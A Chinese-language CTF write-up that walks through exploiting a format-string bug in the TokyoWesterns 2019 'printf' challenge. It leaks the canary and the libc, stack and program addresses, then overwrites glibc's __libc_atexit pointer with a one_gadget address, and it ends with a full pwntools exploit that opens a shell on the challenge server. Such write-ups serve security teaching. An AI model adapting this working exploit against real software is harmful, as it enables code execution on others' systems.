从TokyoWesterns 2019一道题谈谈在exit中的利用机会

2019-09-11 约 2765 字 预计阅读 6 分钟

声明:本文 【从TokyoWesterns 2019一道题谈谈在exit中的利用机会】 由作者 kuocca 于 2019-09-11 08:57:57 首发 先知社区 曾经 浏览数 535 次

感谢 kuocca 的辛苦付出!

0x01 前言

printf是TokyoWesterns CTF 2019一道格式化漏洞利用题,有意思的是,题目给的二进制程序自己实现了一个printf函数。一般,在调用完main函数以后,程序call __libc_start_main,继续调用exit退出。若能够覆盖exit中的函数指针,便可在程序退出的时候劫持程序控制流。

0x02 加载libc

题目给了3个文件,除了常规的libc还额外给了一个ld.so,ld.so用于装载libc。这里需要用到patchelf这个工具,执行以下命令,将libc和ld.so指向题目所给的文件

patchelf --set-interpreter /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 printf
patchelf --set-rpath /root/workspace/elf:/libc.so.6 printf

现在printf程序指向了题目所给libc和ld.so

~/workspace/elf # ldd printf
    linux-vdso.so.1 =>  (0x00007ffe09ac1000)
    libc.so.6 => /root/workspace/elf/libc.so.6 (0x00007fd7c5dd0000)
    /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fd7c5fbb000)

0x03 分析漏洞点

保护全开

[*] '/root/workspace/elf/printf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  '/root/workspace/elf:/libc.so.6'

查看伪代码,sub_136E是程序自己实现的printf函数

_int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rdx
  __int64 v4; // rcx
  __int64 v5; // r8
  __int64 v6; // r9
  __int64 v7; // rdx
  __int64 v8; // rcx
  __int64 v9; // r8
  __int64 v10; // r9
  const unsigned __int16 **v11; // rax
  __int64 v12; // rdx
  __int64 v13; // rcx
  __int64 v14; // r8
  __int64 v15; // r9
  __int64 v16; // rdx
  __int64 v17; // rcx
  __int64 v18; // r8
  __int64 v19; // r9
  __int64 v20; // rdx
  __int64 v21; // rcx
  __int64 v22; // r8
  __int64 v23; // r9
  int i; // [rsp+8h] [rbp-118h]
  int v26; // [rsp+Ch] [rbp-114h]
  char buf[264]; // [rsp+10h] [rbp-110h]
  unsigned __int64 v28; // [rsp+118h] [rbp-8h]

  v28 = __readfsqword(0x28u);
  sub_130D();
  sub_136E((__int64)"What's your name?", (__int64)a2, v3, v4, v5, v6);
  v26 = read(0, buf, 0x100uLL);
  buf[v26 - 1] = 0;
  for ( i = 0; i < v26 - 1; ++i )
  {
    v11 = __ctype_b_loc();
    v7 = (__int64)*v11;
    if ( !((*v11)[buf[i]] & 0x4000) )
      _exit(1);
  }
  sub_136E((__int64)"Hi, ", (__int64)buf, v7, v8, v9, v10);
  sub_136E((__int64)buf, (__int64)buf, v12, v13, v14, v15);
  sub_136E((__int64)"Do you leave a comment?", (__int64)buf, v16, v17, v18, v19);
  buf[(signed int)((unsigned __int64)read(0, buf, 0x100uLL) - 1)] = 0;
  sub_136E((__int64)buf, (__int64)buf, v20, v21, v22, v23);
  return 0LL;
}

测试发现sub_136E存在格式化漏洞

~/workspace/elf # ./printf
What's your name?
%lx %lx %lx %lx %lx %lx 
Hi, 
0 7f730b0db580 7f730b001024 4 7f730b0e0540 0 
Do you leave a comment?
%lx %lx %lx %lx %lx %lx                       
7ffcfcf0ec20 100 7f730b000f81 17 7f730b0e0540 0

利用格式化漏洞分别泄漏出stack地址、canary、libc基址、程序基址

[+] Starting local process './printf': pid 21658
[*] libc.address 0x7f537407a000
[*] stack 0x7ffe1a368fa0
[*] canary 0x5bd36eedc61f6600
[*] proc_base 0x564edfcf0000

Full RELRO开启,这里不能写got表,查看libc的exit.c源码:

/* Copyright (C) 1991-2019 Free Software Foundation, Inc.
   This file is part of the GNU C Library.
   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.
   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.
   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, see
   <http://www.gnu.org/licenses/>.  */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sysdep.h>
#include <libc-lock.h>
#include "exit.h"
#include "set-hooks.h"
DEFINE_HOOK (__libc_atexit, (void))
/* Initialize the flag that indicates exit function processing
   is complete. See concurrency notes in stdlib/exit.h where
   __exit_funcs_lock is declared.  */
bool __exit_funcs_done = false;
/* Call all functions registered with `atexit' and `on_exit',
   in the reverse of the order in which they were registered
   perform stdio cleanup, and terminate program execution with STATUS.  */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
                     bool run_list_atexit, bool run_dtors)
{
  /* First, call the TLS destructors.  */
#ifndef SHARED
  if (&__call_tls_dtors != NULL)
#endif
    if (run_dtors)
      __call_tls_dtors ();
  /* We do it this way to handle recursive calls to exit () made by
     the functions registered with `atexit' and `on_exit'. We call
     everyone on the list and use the status value in the last
     exit (). */
  while (true)
    {
      struct exit_function_list *cur;
      __libc_lock_lock (__exit_funcs_lock);
    restart:
      cur = *listp;
      if (cur == NULL)
        {
          /* Exit processing complete.  We will not allow any more
             atexit/on_exit registrations.  */
          __exit_funcs_done = true;
          __libc_lock_unlock (__exit_funcs_lock);
          break;
        }
      while (cur->idx > 0)
        {
          struct exit_function *const f = &cur->fns[--cur->idx];
          const uint64_t new_exitfn_called = __new_exitfn_called;
          /* Unlock the list while we call a foreign function.  */
          __libc_lock_unlock (__exit_funcs_lock);
          switch (f->flavor)
            {
              void (*atfct) (void);
              void (*onfct) (int status, void *arg);
              void (*cxafct) (void *arg, int status);
            case ef_free:
            case ef_us:
              break;
            case ef_on:
              onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
              PTR_DEMANGLE (onfct);
#endif
              onfct (status, f->func.on.arg);
              break;
            case ef_at:
              atfct = f->func.at;
#ifdef PTR_DEMANGLE
              PTR_DEMANGLE (atfct);
#endif
              atfct ();
              break;
            case ef_cxa:
              /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
                 we must mark this function as ef_free.  */
              f->flavor = ef_free;
              cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
              PTR_DEMANGLE (cxafct);
#endif
              cxafct (f->func.cxa.arg, status);
              break;
            }
          /* Re-lock again before looking at global state.  */
          __libc_lock_lock (__exit_funcs_lock);
          if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
            /* The last exit function, or another thread, has registered
               more exit functions.  Start the loop over.  */
            goto restart;
        }
      *listp = cur->next;
      if (*listp != NULL)
        /* Don't free the last element in the chain, this is the statically
           allocate element.  */
        free (cur);
      __libc_lock_unlock (__exit_funcs_lock);
    }
  if (run_list_atexit)
    RUN_HOOK (__libc_atexit, ());
  _exit (status);
}
void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)

注意到__libc_atexit这个函数指针,当程序退出会调用exit函数,最终调用__libc_atexit所指向的地址

# RUN_HOOK (__libc_atexit, ());
...
# define DEFINE_HOOK_RUNNER(name, runner, proto, args) \
DEFINE_HOOK (name, proto); \
extern void runner proto; void runner proto { RUN_HOOK (name, args); }
...

0x04 Debug

现在问题就在于如何将one_gadget写入该地址。向buf随便输入一串字符(我这里输入one_gadget的值),在内存检索该值,一共找到两处:

[+] Waiting for debugger: Done
[*] libc.address 0x7f591a884000
[*] stack 0x7ffcf901e290
[*] canary 0xb395c502847a3600
[*] proc_base 0x56346a570000
[*] one_gadget 0x7f591a966383

gef➤  search-pattern 0x7f591a966383
[+] Searching '\x83\x63\x96\x1a\x59\x7f' in memory
[+] In '[stack]'(0x7ffcf8fff000-0x7ffcf9020000), permission=rw-
  0x7ffcf901df00 - 0x7ffcf901df18  →   "\x83\x63\x96\x1a\x59\x7f[...]" 
  0x7ffcf901e0a0 - 0x7ffcf901e0b8  →   "\x83\x63\x96\x1a\x59\x7f[...]" 
gef➤  p/x 0x7ffcf901e0a0-0x7ffcf901df00
$1 = 0x1a0

设定偏移量为0x1000

pl = "%{}x{}".format(4096, p64(one_gadget))
s.ru("comment?")
s.sl(pl)

明显看到one_gadget往上了0x1000的偏移量进行写入,由于libc位于stack的上方,通过计算合适的偏移量便可用one_gadget覆盖__libc_atexit

[+] Waiting for debugger: Done
[*] libc.address 0x7f7142fcd000
[*] stack 0x7ffdb96518f0
[*] canary 0xeec90b90217bf000
[*] proc_base 0x5573ff19b000
[*] one_gadget 0x7f71430af383

gef➤  search-pattern 0x7f71430af383
[+] Searching '\x83\xf3\x0a\x43\x71\x7f' in memory
[+] In '[stack]'(0x7ffdb9632000-0x7ffdb9653000), permission=rw-
  0x7ffdb9650570 - 0x7ffdb9650588  →   "\x83\xf3\x0a\x43\x71\x7f[...]" 
  0x7ffdb9651706 - 0x7ffdb965171e  →   "\x83\xf3\x0a\x43\x71\x7f[...]" 
gef➤  p/x 0x7ffdb9651706-0x7ffdb9650570
$1 = 0x1196

当调用完__libc_start_main程序准备退出之时,跟进到libc的exit函数调用__libc_atexit

───────────────────────────── code:x86:64 ────
   0x7f624efde38c                  shr    rax, 0x3
   0x7f624efde390                  lea    r12, [rbx+rax*8+0x8]
   0x7f624efde395                  nop    DWORD PTR [rax]
 → 0x7f624efde398                  call   QWORD PTR [rbx]
   0x7f624efde39a                  add    rbx, 0x8
   0x7f624efde39e                  cmp    rbx, r12
   0x7f624efde3a1                  jne    0x7f624efde398
   0x7f624efde3a3                  mov    edi, ebp
   0x7f624efde3a5                  call   0x7f624f0788f0 <_exit>
────────────────────────────────────────────────────────────────── arguments (guessed) ────
*[rbx] (
   $rdi = 0x00007f624f1af968 → 0x0000000000000000,
   $rsi = 0x0000000000000001,
   $rdx = 0x0000000000000000,
   $rcx = 0x0000000000000000
)

可以在IDA里看到该处的代码

LABEL_42:
          if ( v19 )
          {
            v18 = &off_1E66C8;
            if ( &off_1E66C8 < (__int64 (__fastcall **)())&unk_1E66D0 )
            {
              do
              {
                (*v18)();
                ++v18;
              }
              while ( v18 != &off_1E66C8 + ((unsigned __int64)((char *)&off_1E66C8 + 7 - (char *)&off_1E66C8) >> 3) + 1 );
            }
          }
          exit(status);
        }
        sub_12BDB0(dword_1EA108);
        goto LABEL_42;

查看rbx的值,目标就是将0x7f7adebb46c8地址的值覆盖成one_gadget

─────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x00007f624f17d6c8  →  0x00007f624f079383  →  <execvpe+979> mov rsi, rcx
$rcx   : 0x0               
$rdx   : 0x0               
$rsp   : 0x00007ffd3f489360  →  0x20786c2520786c25 ("%lx %lx "?)
$rbp   : 0x0               
$rsi   : 0x1               
$rdi   : 0x00007f624f1af968  →  0x0000000000000000
$rip   : 0x00007f624efde398  →   call QWORD PTR [rbx]
$r8    : 0x2               
$r9    : 0x00007f624f183580  →  0x00007f624f183580  →  [loop detected]
$r10   : 0x00007ffd3f489224  →  0x0000000000000001
$r11   : 0x2               
$r12   : 0x00007f624f17d6d0  →  0x0000000000000000
$r13   : 0x1               
$r14   : 0x00007f624f181108  →  0x0000000000000000
$r15   : 0x0               
$eflags: [CARRY PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000

来算算到达该地址所需要的偏移,这里的0x9af030ba40便是偏移量

[+] Waiting for debugger: Done
[*] libc.address 0x7f624ef97000
[*] stack 0x7ffd3f489490
[*] canary 0x3a05dd79a9ba500
[*] proc_base 0x55a3c78fa000
[*] one_gadget 0x7f624f079383
[*] atexit_stack_diff 0x9af030ba40

gef➤  vmmap libc
Start              End                Offset             Perm Path
0x00007f624ef97000 0x00007f624efbc000 0x0000000000000000 r-- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
0x00007f624efbc000 0x00007f624f12f000 0x0000000000025000 r-x /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
0x00007f624f12f000 0x00007f624f178000 0x0000000000198000 r-- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
0x00007f624f178000 0x00007f624f17b000 0x00000000001e0000 r-- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
0x00007f624f17b000 0x00007f624f17e000 0x00000000001e3000 rw- /root/workspace/elf/TokyoWesterns_CTF_2019/pwn/printf/libc.so.6
gef➤  p/x 0x00007f624f17d6c8-0x00007f624ef97000
$1 = 0x1e66c8
gef➤  p/x 0x7f624efde398-0x00007f624ef97000
$2 = 0x47398
gef➤  p/x 0x7ffd3f489490-(0x00007f624ef97000+0x1e66c8)-0x390
$3 = 0x9af030ba38
gef➤  p/x 0x7ffd3f489490-(0x00007f624ef97000+0x1e66c8)-0x390+8
$4 = 0x9af030ba40

0x1e66c8__libc_atexit相对于libc基址的偏移,可以在IDA找到该结构

__libc_atexit:00000000001E66C8 __libc_atexit   segment para public 'DATA' use64
__libc_atexit:00000000001E66C8                 assume cs:__libc_atexit
__libc_atexit:00000000001E66C8                 ;org 1E66C8h
__libc_atexit:00000000001E66C8 off_1E66C8      dq offset fcloseall_0   ; DATA XREF: sub_47170+1FF↑o
__libc_atexit:00000000001E66C8                                         ; sub_5C960+1BFA↑o ...
__libc_atexit:00000000001E66C8 __libc_atexit   ends

0x390是栈内地址偏移

[+] Waiting for debugger: Done
[*] libc.address 0x7f2e14154000
[*] stack 0x7ffc707793c0
[*] canary 0x6ad3921cfee82500
[*] proc_base 0x55fcbd744000

gef➤  search-pattern 0x7f2e14236383
[+] Searching '\x83\x63\x23\x14\x2e\x7f' in memory
[+] In '[stack]'(0x7ffc7075a000-0x7ffc7077b000), permission=rw-
  0x7ffc70779030 - 0x7ffc70779048  →   "\x83\x63\x23\x14\x2e\x7f[...]" 
  0x7ffc707791d0 - 0x7ffc707791e8  →   "\x83\x63\x23\x14\x2e\x7f[...]" 
gef➤  p/x 0x7ffc707793c0-0x7ffc70779030
$1 = 0x390

覆盖__libc_atexitone_gadget地址

0x05 get shell~

完整的EXP

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import os, sys

# Setting at first
DEBUG = 3
LIBCV = 2.19
context.arch = "amd64"

#context.log_level = "debug"
elf = ELF("./printf",checksec=False)

# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive

if DEBUG == 1:
    if context.arch == "i386":
        libc = ELF("/lib/i386-linux-gnu/libc.so.6",checksec=False)
    elif context.arch == "amd64":
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
    s = process("./printf")
elif DEBUG == 2:
    if context.arch == "i386":
        libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86/libc.so.6",checksec=False)
        os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/x86/glibc-"+str(LIBCV)+"/x86/ld-linux-x86-64.so.2 printf")
        os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86:/libc.so.6 printf")
    elif context.arch == "amd64":
        #libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/libc.so.6",checksec=False)
        #os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/ld-linux-x86-64.so.2 printf")
        #os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64:/libc.so.6 printf")
        libc = ELF("./libc.so.6")
        os.system("patchelf --set-interpreter /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 printf")
        os.system("patchelf --set-rpath /root/workspace/elf:/libc.so.6 printf")
    s = process("./printf")
elif DEBUG == 3:
    libc = ELF("./libc.so.6",checksec=False)
    ip = "printf.chal.ctf.westerns.tokyo" 
    port = 10001
    s = remote(ip,port)


def clean():
    s.close()

    if DEBUG == 2:
        if context.arch == "i386":
            os.system("patchelf --set-interpreter /lib/ld-linux.so.2 printf")
            os.system("patchelf --set-rpath /lib/i386-linux-gnu:/libc.so.6 printf")
        if context.arch == "amd64":
            os.system("patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 printf")
            os.system("patchelf --set-rpath /lib/x86_64-linux-gnu:/libc.so.6 printf")

def pwn():
    #zx(0x130B)
    #pause()

    pl = "%lx "*((0x100-4)/4)#64
    s.sla("What's your name?", pl)

    s.ru("Hi, \n")
    leak = s.ru("Do").split(" ")

    libc.address = int(leak[2],16) - 0x10d024
    stack = int(leak[39],16)
    canary = int(leak[40],16)
    proc_base = int(leak[41],16) - 0x2a40
    one_gadget = libc.address + 0xe2383
    info("libc.address 0x%x", libc.address)
    info("stack 0x%x", stack)
    info("canary 0x%x", canary)
    info("proc_base 0x%x", proc_base)
    info("one_gadget 0x%x", one_gadget)

    atexit_stack_diff = stack - (libc.address + 0x1e66c8) - 0x390 + 8
    info("atexit_stack_diff 0x%x", atexit_stack_diff)

    pl = "%{}x{}".format(atexit_stack_diff, p64(one_gadget))
    s.ru("comment?")
    s.sl(pl)

    s.irt()
    #clean()
    # TWCTF{Pudding_Pudding_Pudding_purintoehu}

if __name__ == "__main__":
    pwn()

pwn~

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now